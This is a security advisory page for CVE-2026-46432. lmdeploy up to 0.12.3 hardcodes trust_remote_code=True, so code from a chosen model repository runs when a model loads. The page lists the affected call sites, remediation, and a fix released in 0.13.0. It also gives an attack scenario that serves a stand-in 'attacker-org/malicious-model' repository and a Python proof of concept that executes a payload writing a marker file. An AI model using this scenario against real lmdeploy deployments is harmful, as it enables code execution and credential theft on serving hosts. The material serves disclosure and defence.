lmdeploy CVE-2026-46432
HIGHSeverity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionNVD
Summary
lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.
The affected code paths are in:
lmdeploy/archs.py
lmdeploy/utils.pyThe vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().
Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.
Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.
Affected version
Confirmed affected:
lmdeploy <= 0.12.3The issue was verified on v0.12.3 and on main.
Vulnerable code
Confirmed call sites:
lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)
lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)
lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)The vulnerable pattern is:
AutoConfig.from_pretrained(model_path, trust_remote_code=True)and:
GenerationConfig.from_pretrained(path, trust_remote_code=True)The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.
Attack scenario
- An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
- The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
attacker-org/malicious-model- The lmdeploy serving process starts with that model path:
lmdeploy serve api_server attacker-org/malicious-model- During model initialization, lmdeploy calls HuggingFace Transformers APIs with
trust_remote_code=True. - Transformers loads and executes remote Python code from the attacker-controlled model repository.
- The payload runs with the privileges of the lmdeploy serving process.
Why this is security-sensitive
trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.
In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.
lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.
Proof of concept
The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path
MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"
def simulate_lmdeploy_model_load(model_path: str) -> None:
"""
Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.
Real vulnerable pattern:
AutoConfig.from_pretrained(model_path, trust_remote_code=True)
GenerationConfig.from_pretrained(path, trust_remote_code=True)
When trust_remote_code=True, a malicious HuggingFace model repository can
execute custom Python code during loading.
"""
fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
module_name = model_path.split("/")[-1].replace("-", "_")
modeling_file = fake_model_dir / f"modeling_{module_name}.py"
payload = f'''
import os
from pathlib import Path
Path("{MARKER}").write_text(
"lmdeploy trust_remote_code execution confirmed\\n"
f"model_path={model_path!r}\\n"
f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
modeling_file.write_text(payload)
spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
assert spec is not None and spec.loader is not None
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--model-id", default=MALICIOUS_MODEL)
args = parser.parse_args()
if MARKER.exists():
MARKER.unlink()
print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")
simulate_lmdeploy_model_load(args.model_id)
if MARKER.exists():
print("[+] Code execution confirmed")
print(MARKER.read_text())
return 0
print("[-] Marker file was not created", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())Expected result:
[+] Code execution confirmedThe marker file is written to:
/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOFImpact
An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.
The attacker may be able to:
- Read files accessible to the lmdeploy process.
- Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
- Modify model-serving behavior or tamper with responses.
- Execute arbitrary operating-system commands.
- Access request data or internal service credentials available to the serving process.
- Cause denial of service by crashing or destabilizing the serving daemon.
- Pivot to internal services reachable from the lmdeploy host or container.
AnalysisAI
Arbitrary code execution in InternLM lmdeploy <= 0.12.3 occurs because trust_remote_code=True is hardcoded across HuggingFace model-loading call sites in lmdeploy/archs.py and lmdeploy/utils.py. An attacker who can influence the model_path passed to an lmdeploy serving process can point it at a malicious HuggingFace repository, causing Transformers to download and execute attacker-controlled Python code with the privileges of the serving daemon. Publicly available exploit code exists in the GHSA advisory, and an upstream fix has been merged via PR #4511 (fixed in 0.13.0).
Technical ContextAI
lmdeploy (pkg:pip/lmdeploy) is InternLM's high-throughput LLM serving toolkit that wraps HuggingFace Transformers for model initialization. The vulnerability is a CWE-94 (Improper Control of Generation of Code) issue rooted in the Transformers trust_remote_code mechanism: when set to True, Transformers will import and execute arbitrary modeling_*.py modules shipped inside a model repository during calls like AutoConfig.from_pretrained, PretrainedConfig.get_config_dict, and GenerationConfig.from_pretrained. lmdeploy hardcodes this flag at archs.py:154, archs.py:157, and utils.py:225, removing the operator's ability to make an explicit trust decision. Because the model identifier is treated as configuration data rather than executable code, any data-flow path that lets an untrusted party set the model path becomes a code-execution sink.
RemediationAI
Upgrade to lmdeploy 0.13.0 or later, which lands the fix from https://github.com/InternLM/lmdeploy/pull/4511 - that PR replaces hardcoded trust_remote_code=True with an explicit --trust-remote-code CLI flag / pipeline kwarg defaulting to False, so remote code execution becomes opt-in per deployment. Operators upgrading must add --trust-remote-code to invocations that legitimately depend on custom model code (e.g., certain InternVL or non-standard architectures), otherwise model loading will fail; this is the intended trade-off. If immediate upgrade is not possible, treat the model_path argument as a code-execution sink: restrict who can set it (lock down Kubernetes manifests, Helm values, CI variables, and any API that accepts user-supplied model IDs), pin deployments to pre-downloaded local model directories rather than HuggingFace Hub IDs, run lmdeploy under a dedicated low-privilege service account with minimal access to cloud credentials/HF tokens, and consider egress filtering to block huggingface.co downloads from production serving hosts (note: this also breaks legitimate on-the-fly model pulls). Reference: https://github.com/InternLM/lmdeploy/security/advisories/GHSA-m549-qq94-fvhg.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-m549-qq94-fvhg